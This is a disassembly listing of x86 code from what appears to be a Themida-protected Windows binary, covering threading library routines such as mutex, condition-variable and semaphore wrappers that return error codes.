					; ___:0043277Ej ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432860:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432877
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_432877:				; CODE XREF: ___:0043286Fj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328A0:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328C7
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_4328C7
		cmp	eax, 2
		jbe	short loc_4328C7
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328C7:				; CODE XREF: ___:004328AFj
					; ___:004328B7j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328E0:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432926
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432926
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432926
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432926
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432926:				; CODE XREF: ___:004328F2j
					; ___:004328FAj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432950:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432975
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432975
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432975:				; CODE XREF: ___:00432960j
					; ___:00432968j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432990:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4329A9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329A9:				; CODE XREF: ___:004329A0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4329BD
		cmp	eax, 1
		jz	short loc_4329BD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329BD:				; CODE XREF: ___:004329AFj
					; ___:004329B4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4329E0:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432A05
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432A05
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432A05:				; CODE XREF: ___:004329F0j
					; ___:004329F8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432A65
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_432A60
		cmp	eax, 2
		jg	short loc_432A60
		test	eax, eax
		jz	short loc_432A4C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A4C:				; CODE XREF: sub_432A20+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A60:				; CODE XREF: sub_432A20+1Aj
					; sub_432A20+1Fj
		mov	eax, 16h


loc_432A65:				; CODE XREF: sub_432A20+12j
		pop	esi
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A90	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432B35
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432B35
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432AD0
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432AD0
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432AE2
; ---------------------------------------------------------------------------


loc_432AD0:				; CODE XREF: sub_432A90+2Fj
					; sub_432A90+34j
		cmp	esi, 0Fh
		jge	short loc_432AE2
		cmp	esi, 2
		jle	short loc_432AE2
		mov	[esp+8+arg_8], 2


loc_432AE2:				; CODE XREF: sub_432A90+3Ej
					; sub_432A90+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432B2E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27D0962h
		nop
		test	eax, eax
		jnz	short loc_432B22
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B22:				; CODE XREF: sub_432A90+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432B2E:				; CODE XREF: sub_432A90+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B35:				; CODE XREF: sub_432A90+19j
					; sub_432A90+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_432A90	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B70	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432BA9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432BA4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432BA4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BA4:				; CODE XREF: sub_432B70+1Bj
					; sub_432B70+23j
		mov	eax, 16h


loc_432BA9:				; CODE XREF: sub_432B70+12j
		pop	esi
		retn
sub_432B70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BC0	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432BD3
		cmp	eax, 2
		jg	short loc_432BD3
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432BD3:				; CODE XREF: sub_432BC0+6j
					; sub_432BC0+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432BC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432C00	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432C13
		cmp	eax, 2
		jg	short loc_432C13
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432C13:				; CODE XREF: sub_432C00+6j
					; sub_432C00+Bj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432C00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C40:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C85
		nop
		call	near ptr 27D08E7h
		cmp	esi, eax
		jz	short loc_432C85
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 28108A3h
		test	eax, eax
		jnz	short loc_432C85
		nop
		call	near ptr 28407DEh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C85:				; CODE XREF: ___:00432C47j
					; ___:00432C51j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432C9E
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C9E:				; CODE XREF: ___:00432C8Bj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CD0:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432D15
		call	near ptr 27D08E7h
		nop
		cmp	esi, eax
		jz	short loc_432D15
		push	esi
		push	0
		push	400h
		call	near ptr 28108A3h
		nop
		test	eax, eax
		jnz	short loc_432D15
		call	near ptr 28407DEh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D15:				; CODE XREF: ___:00432CD7j
					; ___:00432CE1j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D40:				; CODE XREF: ___:00401B4Aj
		push	0
		call	near ptr 28C1E38h
		nop
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D60	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi


loc_432D68:				; DATA XREF: Themida_:0062CC24o
		test	eax, eax
		jz	short loc_432D7F
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D7F:				; CODE XREF: sub_432D60+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432D97
		mov	edi, 0Ch


loc_432D97:				; CODE XREF: sub_432D60+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 27D0251h
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432DC4
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DC4:				; CODE XREF: sub_432D60+4Fj
		test	edi, edi
		jz	short loc_432DD6
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DD6:				; CODE XREF: sub_432D60+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432E45
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432E45
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 28D0809h
		test	eax, eax
		jnz	short loc_432E57
		mov	[edi], esi


loc_432E45:				; CODE XREF: sub_432E20+8j
					; sub_432E20+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E57:				; CODE XREF: sub_432E20+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432EC3
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432EC3
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 280093Eh
		cmp	eax, 102h
		jnz	short loc_432ED5
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EC3:				; CODE XREF: sub_432E90+7j
					; sub_432E90+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432ED5:				; CODE XREF: sub_432E90+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432F00	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432F2D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432F2D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C396E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432F2D:				; CODE XREF: sub_432F00+7j
					; sub_432F00+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432F00	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432F70	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432F93
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432F93:				; CODE XREF: sub_432F70+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432FA2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_433001
; ---------------------------------------------------------------------------


loc_432FA2:				; CODE XREF: sub_432F70+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_433001
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_433001
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_433001
		dec	ebx


loc_433001:				; CODE XREF: sub_432F70+30j
					; sub_432F70+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432F70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C29EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433080	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_43309F
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43309F
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 27D0000h
		nop
		test	eax, eax
		jnz	short loc_4330AF


loc_43309F:				; CODE XREF: sub_433080+6j
					; sub_433080+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4330AF:				; CODE XREF: sub_433080+1Dj
		xor	eax, eax
		retn
sub_433080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4330D0	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4330F6
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4330F6
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_4330F6
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jnz	short loc_433106


loc_4330F6:				; CODE XREF: sub_4330D0+6j
					; sub_4330D0+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433106:				; CODE XREF: sub_4330D0+24j
		xor	eax, eax
		retn
sub_4330D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_43316D
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_43316D
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_43316D
		mov	eax, [esi]
		push	0
		push	eax
		call	near ptr 280093Eh
		nop
		cmp	eax, 102h
		jnz	short loc_433151
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433151:				; CODE XREF: ___:00433148j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 27D0000h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43316D:				; CODE XREF: ___:00433128j
					; ___:0043312Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331A0:				; CODE XREF: ___:0040220Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331C0:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331E0:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433200	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433234
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433234:				; CODE XREF: sub_433200+17j
		test	eax, eax
		jnz	short loc_43323D
		mov	esi, 16h


loc_43323D:				; CODE XREF: sub_433200+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433200	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433270	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_43328E
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43328E:				; CODE XREF: sub_433270+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_4332C9
		mov	[esp+14h+var_4], 1


loc_4332AB:				; CODE XREF: sub_433270+5Ej
					; sub_433270+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4332E0
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332C9:				; CODE XREF: sub_433270+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4332AB
		cmp	ebx, 1
		jnz	short loc_4332AB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332E0:				; CODE XREF: sub_433270+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_4332FD
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332FD:				; CODE XREF: sub_433270+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433333
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433333
		mov	dword ptr [esi], 3


loc_433333:				; CODE XREF: sub_433270+9Ej
					; sub_433270+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43334F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43334F:				; CODE XREF: sub_433270+D2j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_433270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333B0:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_433455
		mov	esi, [edi]
		test	esi, esi
		jz	loc_433455
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433418
		cmp	dword ptr [esi], 3
		jnz	short loc_4333FD
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43344F


loc_4333E7:				; CODE XREF: ___:0043340Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333FD:				; CODE XREF: ___:004333D3j
		push	1
		push	0
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_4333E7
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433418:				; CODE XREF: ___:004333CEj
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43343F
		push	offset dword_50E940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43343F:				; CODE XREF: ___:00433426j
		push	offset dword_50E940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43344F:				; CODE XREF: ___:004333E5j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433455:				; CODE XREF: ___:004333BBj
					; ___:004333C5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433490:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_4334F1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4334F1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4334B1
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_4334F6


loc_4334B1:				; CODE XREF: ___:004334A2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_4334D3


loc_4334C3:				; CODE XREF: ___:004334D1j
		push	1
		push	2
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_4334C3


loc_4334D3:				; CODE XREF: ___:004334C1j
		mov	eax, [esi]
		cmp	eax, 2
